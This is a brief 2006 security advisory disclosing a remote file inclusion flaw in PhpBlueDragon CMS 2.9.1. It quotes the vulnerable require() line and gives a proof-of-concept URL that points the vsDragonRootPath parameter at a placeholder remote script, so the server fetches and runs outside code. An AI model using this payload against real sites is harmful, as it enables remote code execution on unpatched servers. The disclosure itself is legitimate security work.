PhpBlueDragon CMS 2.9.1, File inclusion vulnerability

[Federico Fazzi <federico@xxxxxxxxxxxxx>]

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Advisory id: FSA:015

Author:    Federico Fazzi
Date:      14/06/2006, 18:20
Sinthesis: PhpBlueDragon CMS 2.9.1, File inclusion vulnerability
Type:      high
Product:   http://phpbluedragon.net/
Patch:     unavailable
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1) Description:

Error occured in template.php, line 23:

---
require($vsDragonRootPath."public_includes/pub_kernel/pbd_template_custom.php");
---

2) Proof of concept:

http://example/[pbd_path]/software_upload/public_includes/pub_templates/vphptree/template.php?vsDragonRootPath=[cmd_url]/
(note this is with final slash (/))

3) Solution:

sanitized $vsDragonRootPath